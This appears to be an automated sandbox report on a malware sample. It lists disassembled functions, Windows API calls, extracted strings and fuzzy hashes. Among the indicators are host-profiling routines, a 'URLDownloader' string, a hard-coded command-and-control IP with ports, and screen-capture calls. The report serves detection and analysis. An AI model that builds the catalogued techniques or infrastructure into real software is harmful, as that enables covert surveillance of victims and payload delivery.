Instruction Fuzzy Hash: C35104B8D0020DEBCF05CF94D888BFEB7B6BF58308F108149E616A7640D735AA85CB95

Function 02863FF7 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 0286400E
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 02864068
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02864080
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 028640CC

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 34b2c7f5b494ccf67b9d325744f33ca0ea89d0e807b565f945f2959b528e33de
Instruction ID: 0b4b502acff8624c61df70e4b9a485c97e45208924927cf16a8ca1c3cf5678e7
Opcode Fuzzy Hash: 34b2c7f5b494ccf67b9d325744f33ca0ea89d0e807b565f945f2959b528e33de
Instruction Fuzzy Hash: 383134B9E40204BFEB14EF98CC86FAEB7B5EB48710F204254F615AB2C1D671AA10CB55

Function 1000D330 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,10011CF6,000000FF,?,1000CB92,?), ref: 1000D350
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,10011CF6,000000FF,?,1000CB92), ref: 1000D36B
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,1000CB92,?), ref: 1000D39F
??1_Lockit@std@@QAE@XZ.MSVCP140(?), ref: 1000D417

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getcat@?$codecvt@Mbstatet@@@std@@V42@@Vfacet@locale@2@
String ID:
API String ID: 1566052064-0
Opcode ID: 2c848dbf772fb136aa0b1a4503c2d55199b9e41e15513577ea7fb89fc6818d4e
Instruction ID: 4d9198b2984e5e082309ff7aa8a3130d82e8df6aeec633f907ab193b7f9989e7
Opcode Fuzzy Hash: 2c848dbf772fb136aa0b1a4503c2d55199b9e41e15513577ea7fb89fc6818d4e
Instruction Fuzzy Hash: 79313EB4D00259DFDB04DFA4C895BEEBBB4FF48350F208619E915A3395DB34AA40CBA1

Function 10010BB0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10010BFD

Part of subcall function 100114A3: InitializeSListHead.KERNEL32(10017318,10010C07,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 100114A8

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(10012320,10012324,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 10010C16
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(10012300,1001231C,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 10010C34
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10010C67

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: 5bd69a3745def1f0a502212b4dd3d1811da621de82d7f1043a7733e41357daf7
Instruction ID: 39f7e9c7f58ab3c24a5f1c768587727ae30ebfb406468ad2b612d2fa9f71a151
Opcode Fuzzy Hash: 5bd69a3745def1f0a502212b4dd3d1811da621de82d7f1043a7733e41357daf7
Instruction Fuzzy Hash: D421027A7482129AEB18EBB898027CC37A1EF11364F108205F4C96F1C3DBF1E5C18A96

Function 1000BEC0 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 1000CAC0: ?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140(?,1000BEEA,1000CEAD,1000CEAD,6CC04730), ref: 1000CAE4

?good@ios_base@std@@QBE_NXZ.MSVCP140(1000CEAD,1000CEAD), ref: 1000BEFC
?tie@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_ostream@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000BF1D

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@2@D@std@@@std@@$?good@ios_base@std@@?rdbuf@?$basic_ios@?tie@?$basic_ios@V?$basic_ostream@V?$basic_streambuf@
String ID:
API String ID: 3792166412-0
Opcode ID: ae12adcc2c32b88dafc5603b844eb9ac3b5d40635a87f722cfffed01479731d9
Instruction ID: 6403fa240c7e006dd5772fa615f9af8d9caa538eb968de4636cddec1bc8cd2ef
Opcode Fuzzy Hash: ae12adcc2c32b88dafc5603b844eb9ac3b5d40635a87f722cfffed01479731d9
Instruction Fuzzy Hash: EF216D7460064AEFD704CF54C984BAEBBB1FF49344F14C269E8165B391C730E940CB91

Function 1000B2A0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2AD
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2BA
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2C5
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2D2

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@
String ID:
API String ID: 2950233615-0
Opcode ID: 1783d4faa295622926a9acba5ea9b70e108ed3dee63503e54d904724665c109e
Instruction ID: 286a1d44accefb07714ea732755267c184901f6fbadf7b8dc8f0254af49e132d
Opcode Fuzzy Hash: 1783d4faa295622926a9acba5ea9b70e108ed3dee63503e54d904724665c109e
Instruction Fuzzy Hash: A5110D74E00219EFDB14DFA4D9958AEB7F5FF48240B204199E805A7355EB30AF01EB90

Function 1000C0C0 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,?,1000B486), ref: 1000C0CA
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,1000B486), ref: 1000C0DD
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,1000B486), ref: 1000C0EC
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(1000B44A,1000B44A,1000B449,?,1000B486), ref: 1000C110

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@$?egptr@?$basic_streambuf@?setg@?$basic_streambuf@D00@
String ID:
API String ID: 3089488326-0
Opcode ID: 9fea32db6d82a8732664cb0fa318f11d1207675337fcaee34ad8ebc0f3171566
Instruction ID: e6559f61c40ac0d619c819a68eafb266e25295ce9371c656e40cb26db6e47210
Opcode Fuzzy Hash: 9fea32db6d82a8732664cb0fa318f11d1207675337fcaee34ad8ebc0f3171566
Instruction Fuzzy Hash: E5F0FF70900108EFCB08DF98CE9599DB7B6FF48301B20819EE406A3352CB31AF50EB54

Function 028705E7 Relevance: 6.0, APIs: 4, Instructions: 28threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 028705F4
WaitForSingleObject.KERNEL32(00000000), ref: 028705FB
CreateThread.KERNEL32(00000000,00000000,100048C0,00000000,00000000,00000000), ref: 02870610
CreateThread.KERNEL32(00000000,00000000,100100C0,00000000,00000000,00000000), ref: 02870625

Part of subcall function 02861147: LoadLibraryW.KERNEL32(10012398), ref: 02861152
Part of subcall function 02861147: GetProcAddress.KERNEL32(?,100123AC), ref: 02861164
Part of subcall function 02861147: GetProcAddress.KERNEL32(?,100123C0), ref: 02861178
Part of subcall function 02861147: GetModuleHandleA.KERNEL32(00000000), ref: 028611D4
Part of subcall function 02861147: RegisterClassW.USER32(?), ref: 028611E8
Part of subcall function 02861147: CreateWindowExW.USER32(00000000,100123D8,100123EC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0286120D

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: CreateThread$AddressProc$ClassCurrentHandleLibraryLoadModuleObjectRegisterSingleWaitWindow
String ID:
API String ID: 487361192-0
Opcode ID: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction ID: 88f0037c1de4a8ddbfcfeb8c9d98e3c9592c6855352256938697fb6879bba5e2
Opcode Fuzzy Hash: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction Fuzzy Hash: 12E002B53C4354BAF261B7E45C8FF593655AB09F42F608650F349BD0E1CAF4A450CA2E

Function 028713C0 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 028713D2
GetCurrentThreadId.KERNEL32 ref: 028713E1
GetCurrentProcessId.KERNEL32 ref: 028713EA
QueryPerformanceCounter.KERNEL32(?), ref: 028713F7

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction ID: 0a3c688fa97bd66b33bde44f19f6c44622bf0dc03c57f15caf060906c92fb81b
Opcode Fuzzy Hash: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction Fuzzy Hash: 45F062B4D1021DEBDB05DBB4CA8999EBBF4FF1D200B918696E412E7111E730EB64DB50

Function 100046A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100046D3
Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 100047D2

Strings

.exe, xrefs: 10004735

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Concurrency::task_continuation_context::task_continuation_contextFileModuleName
String ID: .exe
API String ID: 2188046178-4119554291
Opcode ID: 7c1adb2ab773884ace89058cb2ac793d15e5cf7632ab6271f58e31800855c332
Instruction ID: e9e11cb9fd6853f183fefa1d41d0e0024c16e6e010e8b744e496187a2de98be2
Opcode Fuzzy Hash: 7c1adb2ab773884ace89058cb2ac793d15e5cf7632ab6271f58e31800855c332
Instruction Fuzzy Hash: FE51467480424CEFEB14CBA4CC91BEEBBB5EF54340F148199E11977296DB302A49CBA2

Function 10010771 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(100172D4,?,URLDownloader,?,1000177C,100176B8,?,?,?,?,100019DB,inst.exe,00C40000,80000000,80000000,00000190), ref: 1001077C
ReleaseSRWLockExclusive.KERNEL32(100172D4,?,1000177C,100176B8,?,?,?,?,100019DB,inst.exe,00C40000,80000000,80000000,00000190,00000078,00000000), ref: 100107B6

Strings

URLDownloader, xrefs: 10010774

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: URLDownloader
API String ID: 17069307-1891997712
Opcode ID: 9f1511a7a3ffbcca7e38548f47a2cc02b1a111f10bc6b3d82736ec6af61c00fc
Instruction ID: 8654295f68b371237154e9a797b482e4a7d7525e36026ba3eb3070c176022b3d
Opcode Fuzzy Hash: 9f1511a7a3ffbcca7e38548f47a2cc02b1a111f10bc6b3d82736ec6af61c00fc
Instruction Fuzzy Hash: 87F0A734A04211DBD321DF14C844A65B7B4FB49770F10432EF9A98B2E1D774E8C2CE51

Analysis Process: Synaptics.exePID: 5780, Parent PID: 6652COMMON

Non-executed Functions

Function 25ABFF09 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2562238563.0000000025ABC000.00000004.00000010.00020000.00000000.sdmp, Offset: 25ABC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_25abc000_Synaptics.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961809617d7fb091d304b8be0fd63dac970934c5e617bfb645b6df049ab276f8
Instruction ID: b6b2829e21fe090726dab98c88c87c1fa77f7a472e63331c37cc6ffb893d933d
Opcode Fuzzy Hash: 961809617d7fb091d304b8be0fd63dac970934c5e617bfb645b6df049ab276f8
Instruction Fuzzy Hash: 2BE04F6209DBC2EED7070B7488765457FB1ED1722431D45D3CAD0CE067D22C888AC323

Analysis Process: ._cache_zhuzhu.exePID: 6340, Parent PID: 3624COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.3%
Total number of Nodes:	604
Total number of Limit Nodes:	24

Executed Functions

Function 03775430 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

_memset.LIBCMT ref: 0377546C
_memset.LIBCMT ref: 03775485
_memset.LIBCMT ref: 03775495
gethostname.WS2_32(?,00000032), ref: 037754A3
gethostbyname.WS2_32(?), ref: 037754AD
inet_ntoa.WS2_32 ref: 037754C5
_strcat_s.LIBCMT ref: 037754D8
_strcat_s.LIBCMT ref: 037754F1
inet_ntoa.WS2_32 ref: 0377551A
_strcat_s.LIBCMT ref: 0377552D
_strcat_s.LIBCMT ref: 03775546
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03775573
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000002,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03775587
GetLastInputInfo.USER32(?), ref: 0377559A
GetTickCount.KERNEL32 ref: 037755A0
wsprintfW.USER32 ref: 037755D5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 037755E8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000296,00000000), ref: 037755FC
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03775653
wsprintfW.USER32 ref: 0377566C
GetForegroundWindow.USER32 ref: 03775695
GetWindowTextW.USER32(00000000,000006CE,000000FA), ref: 037756AC
lstrlenW.KERNEL32(000008CC), ref: 037756D3
lstrlenW.KERNEL32(00000994), ref: 03775739
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 037757AA
GetProcAddress.KERNEL32(00000000), ref: 037757B1
GetNativeSystemInfo.KERNEL32(?), ref: 037757C2
GetSystemInfo.KERNEL32(?), ref: 037757CD
wsprintfW.USER32 ref: 03775806
GetCurrentProcessId.KERNEL32 ref: 03775818
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 0377582E
K32GetProcessImageFileNameW.KERNEL32(00000000,?,00000104), ref: 0377584B
CloseHandle.KERNEL32(03795164), ref: 0377587F
GetTickCount.KERNEL32 ref: 037758E9
__time64.LIBCMT ref: 037758F8
__localtime64.LIBCMT ref: 0377592F
wsprintfW.USER32 ref: 03775968
GetLocaleInfoW.KERNEL32(00000800,00000002,00000F46,00000040), ref: 0377597D
GetSystemDirectoryW.KERNEL32(00001184,00000032), ref: 0377598C
GetCurrentHwProfileW.ADVAPI32(?), ref: 03775999

Part of subcall function 037780F0: GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03778132
Part of subcall function 037780F0: lstrcmpiW.KERNEL32(?,A:\), ref: 03778166
Part of subcall function 037780F0: lstrcmpiW.KERNEL32(?,B:\), ref: 03778176
Part of subcall function 037780F0: QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 037781A6
Part of subcall function 037780F0: lstrlenW.KERNEL32(?), ref: 037781B7
Part of subcall function 037780F0: __wcsnicmp.LIBCMT ref: 037781CE
Part of subcall function 037780F0: lstrcpyW.KERNEL32(00000AD4,?), ref: 03778204

Strings

X86 %s, xrefs: 03775800
kernel32.dll, xrefs: 0377576F
2024.12. 3, xrefs: 03775758
x64, xrefs: 037757ED
%d min, xrefs: 037755CF
REMARK, xrefs: 03775746
AppEvents, xrefs: 037756B6, 0377571C
GROUP, xrefs: 037756E0
Network, xrefs: 037756C2, 03775728
X86, xrefs: 037759B1, 037759D3
GetNativeSystemInfo, xrefs: 0377576A
1.0, xrefs: 03775702
x86, xrefs: 037757F4, 037757F9

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Info$ByteCharMultiSystemWide_strcat_swsprintf$Process_memsetlstrlen$CountCurrentHandleTickWindowinet_ntoalstrcmpi$AddressCloseDeviceDirectoryDriveFileForegroundImageInputLastLocaleLogicalModuleNameNativeOpenProcProfileQueryStringsText__localtime64__time64__wcsnicmp_mallocgethostbynamegethostnamelstrcpy
String ID: %d min$1.0$2024.12. 3$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X86$X86 %s$kernel32.dll$x64$x86
API String ID: 1101047656-1568689114
Opcode ID: 1cea9e9e915c448f2fcf9f63bfb7ca15ff0bfb350c8fb5a9c2a4ab10b54e7f67
Instruction ID: 44525a7678f02faf105d8ce9cd6458abbe9287727f8eecc7c6b2bb50bf3671bf
Opcode Fuzzy Hash: 1cea9e9e915c448f2fcf9f63bfb7ca15ff0bfb350c8fb5a9c2a4ab10b54e7f67
Instruction Fuzzy Hash: F7F1E7F5940308AFDB24EB64DC45FEB73B8AF48710F00865DE71AAB181EA70A645CF55

Function 02BD0032 Relevance: 72.5, APIs: 3, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 02BD04AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 02BD04DE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02BD04F5

Strings

a, xrefs: 02BD011C
t, xrefs: 02BD0187
mI, xrefs: 02BD0221
b, xrefs: 02BD0113
oc, xrefs: 02BD0154
ctio, xrefs: 02BD026B
o, xrefs: 02BD01C9
b, xrefs: 02BD0287
Fu, xrefs: 02BD025A
a, xrefs: 02BD013E
tu, xrefs: 02BD0166
yA, xrefs: 02BD0125
a, xrefs: 02BD0103
S, xrefs: 02BD00E7
Cach, xrefs: 02BD01FA
st, xrefs: 02BD01AD
Syst, xrefs: 02BD0219
Vi, xrefs: 02BD012C
ee, xrefs: 02BD00F0
F, xrefs: 02BD018C
P, xrefs: 02BD0176
G, xrefs: 02BD0205
Lo, xrefs: 02BD00FC
p, xrefs: 02BD00F7
fo, xrefs: 02BD022C
A, xrefs: 02BD0147
A, xrefs: 02BD0244
otec, xrefs: 02BD017F
ucti, xrefs: 02BD01BE
Via, xrefs: 02BD0312
Li, xrefs: 02BD010C
a, xrefs: 02BD016D
tu, xrefs: 02BD0137
iv, xrefs: 02BD0212
ushI, xrefs: 02BD019B
tNat, xrefs: 02BD020A
Ta, xrefs: 02BD027D
Rt, xrefs: 02BD0233

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: AllocVirtual$InfoNativeSystem
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 4117132724-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 6ae8428618f4cc32d2051ecc4b0d2f740fa7a6dbc4ff3790aba6124f2105d08f
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 1E628A315083858FD720DF24C880BABBBE5FF94704F044D6DE9C99B252E774A989CB96

Function 0377DF10 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03780542: __fassign.LIBCMT ref: 03780538

Sleep.KERNEL32(00000000), ref: 0377DF64
CloseHandle.KERNEL32(00000000), ref: 0377DF91
GetLocalTime.KERNEL32(?), ref: 0377DFA9
wsprintfW.USER32 ref: 0377DFE0
SetUnhandledExceptionFilter.KERNEL32(037775B0), ref: 0377DFEE
CloseHandle.KERNEL32(00000000), ref: 0377E007

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

EnumWindows.USER32(03775CC0,?), ref: 0377E19D
Sleep.KERNEL32(00004E20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0377E1AA
EnumWindows.USER32(03775CC0,?), ref: 0377E1BE
Sleep.KERNEL32(00000BB8), ref: 0377E1F5
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0377E241
Sleep.KERNEL32(00000FA0), ref: 0377E2C4
RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 0377E2EB
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0377E30B
CloseHandle.KERNEL32(?), ref: 0377E35D
Sleep.KERNEL32(000003E8,?,?), ref: 0377E3A4
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0377E3D0
CloseHandle.KERNEL32(?,?,?), ref: 0377E3D7
Sleep.KERNEL32(000003E8,?,?), ref: 0377E3E2
CloseHandle.KERNEL32(?), ref: 0377E400
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0377E425
CloseHandle.KERNEL32(?,?,?), ref: 0377E42C
Sleep.KERNEL32(00000000,?,?,?), ref: 0377E446
CloseHandle.KERNEL32(?), ref: 0377E464

Strings

Console, xrefs: 0377E2D5
118.107.44.219, xrefs: 0377E071
118.107.44.219, xrefs: 0377E07B, 0377E0C3, 0377E121, 0377E1E5, 0377E253
19091, xrefs: 0377E088
19093, xrefs: 0377E12E
118.107.44.219, xrefs: 0377E117
118.107.44.219, xrefs: 0377E0B9
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 0377DFDA
19092, xrefs: 0377E0D0
19092, xrefs: 0377E08F, 0377E0D7, 0377E135, 0377E1CE, 0377E20C
IpDatespecial, xrefs: 0377E305

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleSleep$EnumObjectSingleWaitWindows$CreateEventExceptionFilterLocalOpenQueryTimeUnhandledValue__fassign_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$118.107.44.219$118.107.44.219$118.107.44.219$118.107.44.219$19091$19092$19092$19093$Console$IpDatespecial
API String ID: 1511462596-2550096010
Opcode ID: c09f34afa6541039d1259f567474b3f3d02a15a8cb3a1c1abddde8655db7447b
Instruction ID: 7035dfec30416857b9a30a41b0dc6a5b9ab44e7928c89654bb4b5391307f44ab
Opcode Fuzzy Hash: c09f34afa6541039d1259f567474b3f3d02a15a8cb3a1c1abddde8655db7447b
Instruction Fuzzy Hash: A7D1E4B0648300AFEB20FF64DC85E2EB7A8FBC9704F148B2EF1559A285D7759445CB62

Function 0377BC70 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 0377BC8F
GetDC.USER32(00000000), ref: 0377BC9C
CreateCompatibleDC.GDI32(00000000), ref: 0377BCA2
GetDC.USER32(00000000), ref: 0377BCAD
GetDeviceCaps.GDI32(00000000,00000008), ref: 0377BCBA
GetDeviceCaps.GDI32(00000000,00000076), ref: 0377BCC2
